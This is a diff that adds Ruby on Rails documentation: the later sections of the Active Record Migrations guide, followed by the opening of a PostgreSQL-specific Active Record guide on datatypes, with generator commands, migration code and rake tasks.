+identifying the migration followed by an underscore followed by the name
+of the migration. The name of the migration class (CamelCased version)
+should match the latter part of the file name. For example
+`20080906120000_create_products.rb` should define class `CreateProducts` and
+`20080906120001_add_details_to_products.rb` should define
+`AddDetailsToProducts`. Rails uses this timestamp to determine which migration
+should be run and in what order, so if you're copying a migration from another
+application or generate a file yourself, be aware of its position in the order.
+
+Of course, calculating timestamps is no fun, so Active Record provides a
+generator to handle making it for you:
+
+```bash
+$ bin/rails generate migration AddPartNumberToProducts
+```
+
+This will create an empty but appropriately named migration:
+
+```ruby
+class AddPartNumberToProducts < ActiveRecord::Migration
+ def change
+ end
+end
+```
+
+If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is
+followed by a list of column names and types then a migration containing the
+appropriate `add_column` and `remove_column` statements will be created.
+
+```bash
+$ bin/rails generate migration AddPartNumberToProducts part_number:string
+```
+
+will generate
+
+```ruby
+class AddPartNumberToProducts < ActiveRecord::Migration
+ def change
+ add_column :products, :part_number, :string
+ end
+end
+```
+
+If you'd like to add an index on the new column, you can do that as well:
+
+```bash
+$ bin/rails generate migration AddPartNumberToProducts part_number:string:index
+```
+
+will generate
+
+```ruby
+class AddPartNumberToProducts < ActiveRecord::Migration
+ def change
+ add_column :products, :part_number, :string
+ add_index :products, :part_number
+ end
+end
+```
+
+
+Similarly, you can generate a migration to remove a column from the command line:
+
+```bash
+$ bin/rails generate migration RemovePartNumberFromProducts part_number:string
+```
+
+generates
+
+```ruby
+class RemovePartNumberFromProducts < ActiveRecord::Migration
+ def change
+ remove_column :products, :part_number, :string
+ end
+end
+```
+
+You are not limited to one magically generated column. For example:
+
+```bash
+$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal
+```
+
+generates
+
+```ruby
+class AddDetailsToProducts < ActiveRecord::Migration
+ def change
+ add_column :products, :part_number, :string
+ add_column :products, :price, :decimal
+ end
+end
+```
+
+If the migration name is of the form "CreateXXX" and is
+followed by a list of column names and types then a migration creating the table
+XXX with the columns listed will be generated. For example:
+
+```bash
+$ bin/rails generate migration CreateProducts name:string part_number:string
+```
+
+generates
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+ def change
+ create_table :products do |t|
+ t.string :name
+ t.string :part_number
+ end
+ end
+end
+```
+
+As always, what has been generated for you is just a starting point. You can add
+or remove from it as you see fit by editing the
+`db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb` file.
+
+Also, the generator accepts column type as `references`(also available as
+`belongs_to`). For instance:
+
+```bash
+$ bin/rails generate migration AddUserRefToProducts user:references
+```
+
+generates
+
+```ruby
+class AddUserRefToProducts < ActiveRecord::Migration
+ def change
+ add_reference :products, :user, index: true
+ end
+end
+```
+
+This migration will create a `user_id` column and appropriate index.
+
+There is also a generator which will produce join tables if `JoinTable` is part of the name:
+
+```bash
+$ bin/rails g migration CreateJoinTableCustomerProduct customer product
+```
+
+will produce the following migration:
+
+```ruby
+class CreateJoinTableCustomerProduct < ActiveRecord::Migration
+ def change
+ create_join_table :customers, :products do |t|
+ # t.index [:customer_id, :product_id]
+ # t.index [:product_id, :customer_id]
+ end
+ end
+end
+```
+
+### Model Generators
+
+The model and scaffold generators will create migrations appropriate for adding
+a new model. This migration will already contain instructions for creating the
+relevant table. If you tell Rails what columns you want, then statements for
+adding these columns will also be created. For example, running:
+
+```bash
+$ bin/rails generate model Product name:string description:text
+```
+
+will create a migration that looks like this
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+ def change
+ create_table :products do |t|
+ t.string :name
+ t.text :description
+
+ t.timestamps
+ end
+ end
+end
+```
+
+You can append as many column name/type pairs as you want.
+
+### Passing Modifiers
+
+Some commonly used [type modifiers](#column-modifiers) can be passed directly on
+the command line. They are enclosed by curly braces and follow the field type:
+
+For instance, running:
+
+```bash
+$ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic}
+```
+
+will produce a migration that looks like this
+
+```ruby
+class AddDetailsToProducts < ActiveRecord::Migration
+ def change
+ add_column :products, :price, :decimal, precision: 5, scale: 2
+ add_reference :products, :supplier, polymorphic: true, index: true
+ end
+end
+```
+
+TIP: Have a look at the generators help output for further details.
+
+Writing a Migration
+-------------------
+
+Once you have created your migration using one of the generators it's time to
+get to work!
+
+### Creating a Table
+
+The `create_table` method is one of the most fundamental, but most of the time,
+will be generated for you from using a model or scaffold generator. A typical
+use would be
+
+```ruby
+create_table :products do |t|
+ t.string :name
+end
+```
+
+which creates a `products` table with a column called `name` (and as discussed
+below, an implicit `id` column).
+
+By default, `create_table` will create a primary key called `id`. You can change
+the name of the primary key with the `:primary_key` option (don't forget to
+update the corresponding model) or, if you don't want a primary key at all, you
+can pass the option `id: false`. If you need to pass database specific options
+you can place an SQL fragment in the `:options` option. For example:
+
+```ruby
+create_table :products, options: "ENGINE=BLACKHOLE" do |t|
+ t.string :name, null: false
+end
+```
+
+will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table
+(when using MySQL, the default is `ENGINE=InnoDB`).
+
+### Creating a Join Table
+
+Migration method `create_join_table` creates a HABTM join table. A typical use
+would be:
+
+```ruby
+create_join_table :products, :categories
+```
+
+which creates a `categories_products` table with two columns called
+`category_id` and `product_id`. These columns have the option `:null` set to
+`false` by default. This can be overridden by specifying the `:column_options`
+option.
+
+```ruby
+create_join_table :products, :categories, column_options: {null: true}
+```
+
+will create the `product_id` and `category_id` with the `:null` option as
+`true`.
+
+You can pass the option `:table_name` when you want to customize the table
+name. For example:
+
+```ruby
+create_join_table :products, :categories, table_name: :categorization
+```
+
+will create a `categorization` table.
+
+`create_join_table` also accepts a block, which you can use to add indices
+(which are not created by default) or additional columns:
+
+```ruby
+create_join_table :products, :categories do |t|
+ t.index :product_id
+ t.index :category_id
+end
+```
+
+### Changing Tables
+
+A close cousin of `create_table` is `change_table`, used for changing existing
+tables. It is used in a similar fashion to `create_table` but the object
+yielded to the block knows more tricks. For example:
+
+```ruby
+change_table :products do |t|
+ t.remove :description, :name
+ t.string :part_number
+ t.index :part_number
+ t.rename :upccode, :upc_code
+end
+```
+
+removes the `description` and `name` columns, creates a `part_number` string
+column and adds an index on it. Finally it renames the `upccode` column.
+
+### Changing Columns
+
+Like the `remove_column` and `add_column` Rails provides the `change_column`
+migration method.
+
+```ruby
+change_column :products, :part_number, :text
+```
+
+This changes the column `part_number` on products table to be a `:text` field.
+
+Besides `change_column`, the `change_column_null` and `change_column_default`
+methods are used specifically to change the null and default values of a
+column.
+
+```ruby
+change_column_null :products, :name, false
+change_column_default :products, :approved, false
+```
+
+This sets `:name` field on products to a `NOT NULL` column and the default
+value of the `:approved` field to false.
+
+TIP: Unlike `change_column` (and `change_column_default`), `change_column_null`
+is reversible.
+
+### Column Modifiers
+
+Column modifiers can be applied when creating or changing a column:
+
+* `limit` Sets the maximum size of the `string/text/binary/integer` fields.
+* `precision` Defines the precision for the `decimal` fields, representing the
+total number of digits in the number.
+* `scale` Defines the scale for the `decimal` fields, representing the
+number of digits after the decimal point.
+* `polymorphic` Adds a `type` column for `belongs_to` associations.
+* `null` Allows or disallows `NULL` values in the column.
+* `default` Allows to set a default value on the column. Note that if you
+are using a dynamic value (such as a date), the default will only be calculated
+the first time (i.e. on the date the migration is applied).
+* `index` Adds an index for the column.
+
+Some adapters may support additional options; see the adapter specific API docs
+for further information.
+
+### Foreign Keys
+
+While it's not required you might want to add foreign key constraints to
+[guarantee referential integrity](#active-record-and-referential-integrity).
+
+```ruby
+add_foreign_key :articles, :authors
+```
+
+This adds a new foreign key to the `author_id` column of the `articles`
+table. The key references the `id` column of the `authors` table. If the
+column names can not be derived from the table names, you can use the
+`:column` and `:primary_key` options.
+
+Rails will generate a name for every foreign key starting with
+`fk_rails_` followed by 10 random characters.
+There is a `:name` option to specify a different name if needed.
+
+NOTE: Active Record only supports single column foreign keys. `execute` and
+`structure.sql` are required to use composite foreign keys.
+
+Removing a foreign key is easy as well:
+
+```ruby
+# let Active Record figure out the column name
+remove_foreign_key :accounts, :branches
+
+# remove foreign key for a specific column
+remove_foreign_key :accounts, column: :owner_id
+
+# remove foreign key by name
+remove_foreign_key :accounts, name: :special_fk_name
+```
+
+### When Helpers aren't Enough
+
+If the helpers provided by Active Record aren't enough you can use the `execute`
+method to execute arbitrary SQL:
+
+```ruby
+Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1')
+```
+
+For more details and examples of individual methods, check the API documentation.
+In particular the documentation for
+[`ActiveRecord::ConnectionAdapters::SchemaStatements`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html)
+(which provides the methods available in the `change`, `up` and `down` methods),
+[`ActiveRecord::ConnectionAdapters::TableDefinition`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html)
+(which provides the methods available on the object yielded by `create_table`)
+and
+[`ActiveRecord::ConnectionAdapters::Table`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html)
+(which provides the methods available on the object yielded by `change_table`).
+
+### Using the `change` Method
+
+The `change` method is the primary way of writing migrations. It works for the
+majority of cases, where Active Record knows how to reverse the migration
+automatically. Currently, the `change` method supports only these migration
+definitions:
+
+* `add_column`
+* `add_index`
+* `add_reference`
+* `add_timestamps`
+* `add_foreign_key`
+* `create_table`
+* `create_join_table`
+* `drop_table` (must supply a block)
+* `drop_join_table` (must supply a block)
+* `remove_timestamps`
+* `rename_column`
+* `rename_index`
+* `remove_reference`
+* `rename_table`
+
+`change_table` is also reversible, as long as the block does not call `change`,
+`change_default` or `remove`.
+
+If you're going to need to use any other methods, you should use `reversible`
+or write the `up` and `down` methods instead of using the `change` method.
+
+### Using `reversible`
+
+Complex migrations may require processing that Active Record doesn't know how
+to reverse. You can use `reversible` to specify what to do when running a
+migration what else to do when reverting it. For example:
+
+```ruby
+class ExampleMigration < ActiveRecord::Migration
+ def change
+ create_table :distributors do |t|
+ t.string :zipcode
+ end
+
+ reversible do |dir|
+ dir.up do
+ # add a CHECK constraint
+ execute <<-SQL
+ ALTER TABLE distributors
+ ADD CONSTRAINT zipchk
+ CHECK (char_length(zipcode) = 5) NO INHERIT;
+ SQL
+ end
+ dir.down do
+ execute <<-SQL
+ ALTER TABLE distributors
+ DROP CONSTRAINT zipchk
+ SQL
+ end
+ end
+
+ add_column :users, :home_page_url, :string
+ rename_column :users, :email, :email_address
+ end
+end
+```
+
+Using `reversible` will ensure that the instructions are executed in the
+right order too. If the previous example migration is reverted,
+the `down` block will be run after the `home_page_url` column is removed and
+right before the table `distributors` is dropped.
+
+Sometimes your migration will do something which is just plain irreversible; for
+example, it might destroy some data. In such cases, you can raise
+`ActiveRecord::IrreversibleMigration` in your `down` block. If someone tries
+to revert your migration, an error message will be displayed saying that it
+can't be done.
+
+### Using the `up`/`down` Methods
+
+You can also use the old style of migration using `up` and `down` methods
+instead of the `change` method.
+The `up` method should describe the transformation you'd like to make to your
+schema, and the `down` method of your migration should revert the
+transformations done by the `up` method. In other words, the database schema
+should be unchanged if you do an `up` followed by a `down`. For example, if you
+create a table in the `up` method, you should drop it in the `down` method. It
+is wise to reverse the transformations in precisely the reverse order they were
+made in the `up` method. The example in the `reversible` section is equivalent to:
+
+```ruby
+class ExampleMigration < ActiveRecord::Migration
+ def up
+ create_table :distributors do |t|
+ t.string :zipcode
+ end
+
+ # add a CHECK constraint
+ execute <<-SQL
+ ALTER TABLE distributors
+ ADD CONSTRAINT zipchk
+ CHECK (char_length(zipcode) = 5);
+ SQL
+
+ add_column :users, :home_page_url, :string
+ rename_column :users, :email, :email_address
+ end
+
+ def down
+ rename_column :users, :email_address, :email
+ remove_column :users, :home_page_url
+
+ execute <<-SQL
+ ALTER TABLE distributors
+ DROP CONSTRAINT zipchk
+ SQL
+
+ drop_table :distributors
+ end
+end
+```
+
+If your migration is irreversible, you should raise
+`ActiveRecord::IrreversibleMigration` from your `down` method. If someone tries
+to revert your migration, an error message will be displayed saying that it
+can't be done.
+
+### Reverting Previous Migrations
+
+You can use Active Record's ability to rollback migrations using the `revert` method:
+
+```ruby
+require_relative '2012121212_example_migration'
+
+class FixupExampleMigration < ActiveRecord::Migration
+ def change
+ revert ExampleMigration
+
+ create_table(:apples) do |t|
+ t.string :variety
+ end
+ end
+end
+```
+
+The `revert` method also accepts a block of instructions to reverse.
+This could be useful to revert selected parts of previous migrations.
+For example, let's imagine that `ExampleMigration` is committed and it
+is later decided it would be best to use Active Record validations,
+in place of the `CHECK` constraint, to verify the zipcode.
+
+```ruby
+class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration
+ def change
+ revert do
+ # copy-pasted code from ExampleMigration
+ reversible do |dir|
+ dir.up do
+ # add a CHECK constraint
+ execute <<-SQL
+ ALTER TABLE distributors
+ ADD CONSTRAINT zipchk
+ CHECK (char_length(zipcode) = 5);
+ SQL
+ end
+ dir.down do
+ execute <<-SQL
+ ALTER TABLE distributors
+ DROP CONSTRAINT zipchk
+ SQL
+ end
+ end
+
+ # The rest of the migration was ok
+ end
+ end
+end
+```
+
+The same migration could also have been written without using `revert`
+but this would have involved a few more steps: reversing the order
+of `create_table` and `reversible`, replacing `create_table`
+by `drop_table`, and finally replacing `up` by `down` and vice-versa.
+This is all taken care of by `revert`.
+
+Running Migrations
+------------------
+
+Rails provides a set of Rake tasks to run certain sets of migrations.
+
+The very first migration related Rake task you will use will probably be
+`rake db:migrate`. In its most basic form it just runs the `change` or `up`
+method for all the migrations that have not yet been run. If there are
+no such migrations, it exits. It will run these migrations in order based
+on the date of the migration.
+
+Note that running the `db:migrate` task also invokes the `db:schema:dump` task, which
+will update your `db/schema.rb` file to match the structure of your database.
+
+If you specify a target version, Active Record will run the required migrations
+(change, up, down) until it has reached the specified version. The version
+is the numerical prefix on the migration's filename. For example, to migrate
+to version 20080906120000 run:
+
+```bash
+$ bin/rake db:migrate VERSION=20080906120000
+```
+
+If version 20080906120000 is greater than the current version (i.e., it is
+migrating upwards), this will run the `change` (or `up`) method
+on all migrations up to and
+including 20080906120000, and will not execute any later migrations. If
+migrating downwards, this will run the `down` method on all the migrations
+down to, but not including, 20080906120000.
+
+### Rolling Back
+
+A common task is to rollback the last migration. For example, if you made a
+mistake in it and wish to correct it. Rather than tracking down the version
+number associated with the previous migration you can run:
+
+```bash
+$ bin/rake db:rollback
+```
+
+This will rollback the latest migration, either by reverting the `change`
+method or by running the `down` method. If you need to undo
+several migrations you can provide a `STEP` parameter:
+
+```bash
+$ bin/rake db:rollback STEP=3
+```
+
+will revert the last 3 migrations.
+
+The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating
+back up again. As with the `db:rollback` task, you can use the `STEP` parameter
+if you need to go more than one version back, for example:
+
+```bash
+$ bin/rake db:migrate:redo STEP=3
+```
+
+Neither of these Rake tasks do anything you could not do with `db:migrate`. They
+are simply more convenient, since you do not need to explicitly specify the
+version to migrate to.
+
+### Setup the Database
+
+The `rake db:setup` task will create the database, load the schema and initialize
+it with the seed data.
+
+### Resetting the Database
+
+The `rake db:reset` task will drop the database and set it up again. This is
+functionally equivalent to `rake db:drop db:setup`.
+
+NOTE: This is not the same as running all the migrations. It will only use the
+contents of the current `schema.rb` file. If a migration can't be rolled back,
+`rake db:reset` may not help you. To find out more about dumping the schema see
+[Schema Dumping and You](#schema-dumping-and-you) section.
+
+### Running Specific Migrations
+
+If you need to run a specific migration up or down, the `db:migrate:up` and
+`db:migrate:down` tasks will do that. Just specify the appropriate version and
+the corresponding migration will have its `change`, `up` or `down` method
+invoked, for example:
+
+```bash
+$ bin/rake db:migrate:up VERSION=20080906120000
+```
+
+will run the 20080906120000 migration by running the `change` method (or the
+`up` method). This task will
+first check whether the migration is already performed and will do nothing if
+Active Record believes that it has already been run.
+
+### Running Migrations in Different Environments
+
+By default running `rake db:migrate` will run in the `development` environment.
+To run migrations against another environment you can specify it using the
+`RAILS_ENV` environment variable while running the command. For example to run
+migrations against the `test` environment you could run:
+
+```bash
+$ bin/rake db:migrate RAILS_ENV=test
+```
+
+### Changing the Output of Running Migrations
+
+By default migrations tell you exactly what they're doing and how long it took.
+A migration creating a table and adding an index might produce output like this
+
+```bash
+== CreateProducts: migrating =================================================
+-- create_table(:products)
+ -> 0.0028s
+== CreateProducts: migrated (0.0028s) ========================================
+```
+
+Several methods are provided in migrations that allow you to control all this:
+
+| Method | Purpose
+| -------------------- | -------
+| suppress_messages | Takes a block as an argument and suppresses any output generated by the block.
+| say | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
+| say_with_time | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
+
+For example, this migration:
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+ def change
+ suppress_messages do
+ create_table :products do |t|
+ t.string :name
+ t.text :description
+ t.timestamps
+ end
+ end
+
+ say "Created a table"
+
+ suppress_messages {add_index :products, :name}
+ say "and an index!", true
+
+ say_with_time 'Waiting for a while' do
+ sleep 10
+ 250
+ end
+ end
+end
+```
+
+generates the following output
+
+```bash
+== CreateProducts: migrating =================================================
+-- Created a table
+ -> and an index!
+-- Waiting for a while
+ -> 10.0013s
+ -> 250 rows
+== CreateProducts: migrated (10.0054s) =======================================
+```
+
+If you want Active Record to not output anything, then running `rake db:migrate
+VERBOSE=false` will suppress all output.
+
+Changing Existing Migrations
+----------------------------
+
+Occasionally you will make a mistake when writing a migration. If you have
+already run the migration then you cannot just edit the migration and run the
+migration again: Rails thinks it has already run the migration and so will do
+nothing when you run `rake db:migrate`. You must rollback the migration (for
+example with `rake db:rollback`), edit your migration and then run
+`rake db:migrate` to run the corrected version.
+
+In general, editing existing migrations is not a good idea. You will be
+creating extra work for yourself and your co-workers and cause major headaches
+if the existing version of the migration has already been run on production
+machines. Instead, you should write a new migration that performs the changes
+you require. Editing a freshly generated migration that has not yet been
+committed to source control (or, more generally, which has not been propagated
+beyond your development machine) is relatively harmless.
+
+The `revert` method can be helpful when writing a new migration to undo
+previous migrations in whole or in part
+(see [Reverting Previous Migrations](#reverting-previous-migrations) above).
+
+Schema Dumping and You
+----------------------
+
+### What are Schema Files for?
+
+Migrations, mighty as they may be, are not the authoritative source for your
+database schema. That role falls to either `db/schema.rb` or an SQL file which
+Active Record generates by examining the database. They are not designed to be
+edited, they just represent the current state of the database.
+
+There is no need (and it is error prone) to deploy a new instance of an app by
+replaying the entire migration history. It is much simpler and faster to just
+load into the database a description of the current schema.
+
+For example, this is how the test database is created: the current development
+database is dumped (either to `db/schema.rb` or `db/structure.sql`) and then
+loaded into the test database.
+
+Schema files are also useful if you want a quick look at what attributes an
+Active Record object has. This information is not in the model's code and is
+frequently spread across several migrations, but the information is nicely
+summed up in the schema file. The
+[annotate_models](https://github.com/ctran/annotate_models) gem automatically
+adds and updates comments at the top of each model summarizing the schema if
+you desire that functionality.
+
+### Types of Schema Dumps
+
+There are two ways to dump the schema. This is set in `config/application.rb`
+by the `config.active_record.schema_format` setting, which may be either `:sql`
+or `:ruby`.
+
+If `:ruby` is selected then the schema is stored in `db/schema.rb`. If you look
+at this file you'll find that it looks an awful lot like one very big
+migration:
+
+```ruby
+ActiveRecord::Schema.define(version: 20080906171750) do
+ create_table "authors", force: true do |t|
+ t.string "name"
+ t.datetime "created_at"
+ t.datetime "updated_at"
+ end
+
+ create_table "products", force: true do |t|
+ t.string "name"
+ t.text "description"
+ t.datetime "created_at"
+ t.datetime "updated_at"
+ t.string "part_number"
+ end
+end
+```
+
+In many ways this is exactly what it is. This file is created by inspecting the
+database and expressing its structure using `create_table`, `add_index`, and so
+on. Because this is database-independent, it could be loaded into any database
+that Active Record supports. This could be very useful if you were to
+distribute an application that is able to run against multiple databases.
+
+There is however a trade-off: `db/schema.rb` cannot express database specific
+items such as triggers, or stored procedures. While in a migration you can
+execute custom SQL statements, the schema dumper cannot reconstitute those
+statements from the database. If you are using features like this, then you
+should set the schema format to `:sql`.
+
+Instead of using Active Record's schema dumper, the database's structure will
+be dumped using a tool specific to the database (via the `db:structure:dump`
+Rake task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump`
+utility is used. For MySQL, this file will contain the output of
+`SHOW CREATE TABLE` for the various tables.
+
+Loading these schemas is simply a question of executing the SQL statements they
+contain. By definition, this will create a perfect copy of the database's
+structure. Using the `:sql` schema format will, however, prevent loading the
+schema into a RDBMS other than the one used to create it.
+
+### Schema Dumps and Source Control
+
+Because schema dumps are the authoritative source for your database schema, it
+is strongly recommended that you check them into source control.
+
+`db/schema.rb` contains the current version number of the database. This
+ensures conflicts are going to happen in the case of a merge where both
+branches touched the schema. When that happens, solve conflicts manually,
+keeping the highest version number of the two.
+
+Active Record and Referential Integrity
+---------------------------------------
+
+The Active Record way claims that intelligence belongs in your models, not in
+the database. As such, features such as triggers or constraints,
+which push some of that intelligence back into the database, are not heavily
+used.
+
+Validations such as `validates :foreign_key, uniqueness: true` are one way in
+which models can enforce data integrity. The `:dependent` option on
+associations allows models to automatically destroy child objects when the
+parent is destroyed. Like anything which operates at the application level,
+these cannot guarantee referential integrity and so some people augment them
+with [foreign key constraints](#foreign-keys) in the database.
+
+Although Active Record does not provide all the tools for working directly with
+such features, the `execute` method can be used to execute arbitrary SQL.
+
+Migrations and Seed Data
+------------------------
+
+Some people use migrations to add data to the database:
+
+```ruby
+class AddInitialProducts < ActiveRecord::Migration
+ def up
+ 5.times do |i|
+ Product.create(name: "Product ##{i}", description: "A product.")
+ end
+ end
+
+ def down
+ Product.delete_all
+ end
+end
+```
+
+However, Rails has a 'seeds' feature that should be used for seeding a database
+with initial data. It's a really simple feature: just fill up `db/seeds.rb`
+with some Ruby code, and run `rake db:seed`:
+
+```ruby
+5.times do |i|
+ Product.create(name: "Product ##{i}", description: "A product.")
+end
+```
+
+This is generally a much cleaner way to set up the database of a blank
+application.
diff --git a/guides/source/active_record_postgresql.md b/guides/source/active_record_postgresql.md
new file mode 100644
index 0000000000..a2681a80e9
--- /dev/null
+++ b/guides/source/active_record_postgresql.md
@@ -0,0 +1,433 @@
+Active Record and PostgreSQL
+============================
+
+This guide covers PostgreSQL specific usage of Active Record.
+
+After reading this guide, you will know:
+
+* How to use PostgreSQL's datatypes.
+* How to use UUID primary keys.
+* How to implement full text search with PostgreSQL.
+* How to back your Active Record models with database views.
+
+--------------------------------------------------------------------------------
+
+In order to use the PostgreSQL adapter you need to have at least version 8.2
+installed. Older versions are not supported.
+
+To get started with PostgreSQL have a look at the
+[configuring Rails guide](configuring.html#configuring-a-postgresql-database).
+It describes how to properly setup Active Record for PostgreSQL.
+
+Datatypes
+---------
+
+PostgreSQL offers a number of specific datatypes. Following is a list of types,
+that are supported by the PostgreSQL adapter.
+
+### Bytea
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-binary.html)
+* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-binarystring.html)
+
+```ruby
+# db/migrate/20140207133952_create_documents.rb
+create_table :documents do |t|
+ t.binary 'payload'
+end
+
+# app/models/document.rb
+class Document < ActiveRecord::Base
+end
+
+# Usage
+data = File.read(Rails.root + "tmp/output.pdf")
+Document.create payload: data
+```
+
+### Array
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/arrays.html)
+* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-array.html)
+
+```ruby
+# db/migrate/20140207133952_create_books.rb
+create_table :books do |t|
+ t.string 'title'
+ t.string 'tags', array: true
+ t.integer 'ratings', array: true
+end
+add_index :books, :tags, using: 'gin'
+add_index :books, :ratings, using: 'gin'
+
+# app/models/book.rb
+class Book < ActiveRecord::Base
+end
+
+# Usage
+Book.create title: "Brave New World",
+ tags: ["fantasy", "fiction"],
+ ratings: [4, 5]
+
+## Books for a single tag
+Book.where("'fantasy' = ANY (tags)")
+
+## Books for multiple tags
+Book.where("tags @> ARRAY[?]::varchar[]", ["fantasy", "fiction"])
+
+## Books with 3 or more ratings
+Book.where("array_length(ratings, 1) >= 3")
+```
+
+### Hstore
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/hstore.html)
+
+```ruby
+# db/migrate/20131009135255_create_profiles.rb
+ActiveRecord::Schema.define do
+ create_table :profiles do |t|
+ t.hstore 'settings'
+ end
+end
+
+# app/models/profile.rb
+class Profile < ActiveRecord::Base
+end
+
+# Usage
+Profile.create(settings: { "color" => "blue", "resolution" => "800x600" })
+
+profile = Profile.first
+profile.settings # => {"color"=>"blue", "resolution"=>"800x600"}
+
+profile.settings = {"color" => "yellow", "resolution" => "1280x1024"}
+profile.save!
+```
+
+### JSON
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-json.html)
+* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-json.html)
+
+```ruby
+# db/migrate/20131220144913_create_events.rb
+create_table :events do |t|
+ t.json 'payload'
+end
+
+# app/models/event.rb
+class Event < ActiveRecord::Base
+end
+
+# Usage
+Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]})
+
+event = Event.first
+event.payload # => {"kind"=>"user_renamed", "change"=>["jack", "john"]}
+
+## Query based on JSON document
+# The -> operator returns the original JSON type (which might be an object), whereas ->> returns text
+Event.where("payload->>'kind' = ?", "user_renamed")
+```
+
+### Range Types
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/rangetypes.html)
+* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-range.html)
+
+This type is mapped to Ruby [`Range`](http://www.ruby-doc.org/core-2.1.1/Range.html) objects.
+
+```ruby
+# db/migrate/20130923065404_create_events.rb
+create_table :events do |t|
+ t.daterange 'duration'
+end
+
+# app/models/event.rb
+class Event < ActiveRecord::Base
+end
+
+# Usage
+Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12))
+
+event = Event.first
+event.duration # => Tue, 11 Feb 2014...Thu, 13 Feb 2014
+
+## All Events on a given date
+Event.where("duration @> ?::date", Date.new(2014, 2, 12))
+
+## Working with range bounds
+event = Event.
+ select("lower(duration) AS starts_at").
+ select("upper(duration) AS ends_at").first
+
+event.starts_at # => Tue, 11 Feb 2014
+event.ends_at # => Thu, 13 Feb 2014
+```
+
+### Composite Types
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/rowtypes.html)
+
+Currently there is no special support for composite types. They are mapped to
+normal text columns:
+
+```sql
+CREATE TYPE full_address AS
+(
+ city VARCHAR(90),
+ street VARCHAR(90)
+);
+```
+
+```ruby
+# db/migrate/20140207133952_create_contacts.rb
+execute <<-SQL
+ CREATE TYPE full_address AS
+ (
+ city VARCHAR(90),
+ street VARCHAR(90)
+ );
+SQL
+create_table :contacts do |t|
+ t.column :address, :full_address
+end
+
+# app/models/contact.rb
+class Contact < ActiveRecord::Base
+end
+
+# Usage
+Contact.create address: "(Paris,Champs-Élysées)"
+contact = Contact.first
+contact.address # => "(Paris,Champs-Élysées)"
+contact.address = "(Paris,Rue Basse)"
+contact.save!
+```
+
+### Enumerated Types
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-enum.html)
+
+Currently there is no special support for enumerated types. They are mapped as
+normal text columns:
+
+```ruby
+# db/migrate/20131220144913_create_articles.rb
+execute <<-SQL
+ CREATE TYPE article_status AS ENUM ('draft', 'published');
+SQL
+create_table :articles do |t|
+ t.column :status, :article_status
+end
+
+# app/models/article.rb
+class Article < ActiveRecord::Base
+end
+
+# Usage
+Article.create status: "draft"
+article = Article.first
+article.status # => "draft"
+
+article.status = "published"
+article.save!
+```
+
+### UUID
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-uuid.html)
+* [generator functions](http://www.postgresql.org/docs/9.3/static/uuid-ossp.html)
+
+
+```ruby
+# db/migrate/20131220144913_create_revisions.rb
+create_table :revisions do |t|
+ t.column :identifier, :uuid
+end
+
+# app/models/revision.rb
+class Revision < ActiveRecord::Base
+end
+
+# Usage
+Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11"
+
+revision = Revision.first
+revision.identifier # => "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11"
+```
+
+### Bit String Types
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-bit.html)
+* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-bitstring.html)
+
+```ruby
+# db/migrate/20131220144913_create_users.rb
+create_table :users, force: true do |t|
+ t.column :settings, "bit(8)"
+end
+
+# app/models/device.rb
+class User < ActiveRecord::Base
+end
+
+# Usage
+User.create settings: "01010011"
+user = User.first
+user.settings # => "01010011"
+user.settings = "0xAF"
+user.settings # => 10101111
+user.save!
+```
+
+### Network Address Types
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-net-types.html)
+
+The types `inet` and `cidr` are mapped to Ruby
+[`IPAddr`](http://www.ruby-doc.org/stdlib-2.1.1/libdoc/ipaddr/rdoc/IPAddr.html)
+objects. The `macaddr` type is mapped to normal text.
+
+```ruby
+# db/migrate/20140508144913_create_devices.rb
+create_table(:devices, force: true) do |t|
+ t.inet 'ip'
+ t.cidr 'network'
+ t.macaddr 'address'
+end
+
+# app/models/device.rb
+class Device < ActiveRecord::Base
+end
+
+# Usage
+macbook = Device.create(ip: "192.168.1.12",
+ network: "192.168.2.0/24",
+ address: "32:01:16:6d:05:ef")
+
+macbook.ip
+# => #<IPAddr: IPv4:192.168.1.12/255.255.255.255>
+
+macbook.network
+# => #<IPAddr: IPv4:192.168.2.0/255.255.255.0>
+
+macbook.address
+# => "32:01:16:6d:05:ef"
+```
+
+### Geometric Types
+
+* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-geometric.html)
+
+All geometric types, with the exception of `points` are mapped to normal text.
+A point is casted to an array containing `x` and `y` coordinates.
+
+
+UUID Primary Keys
+-----------------
+
+NOTE: you need to enable the `uuid-ossp` extension to generate UUIDs.
+
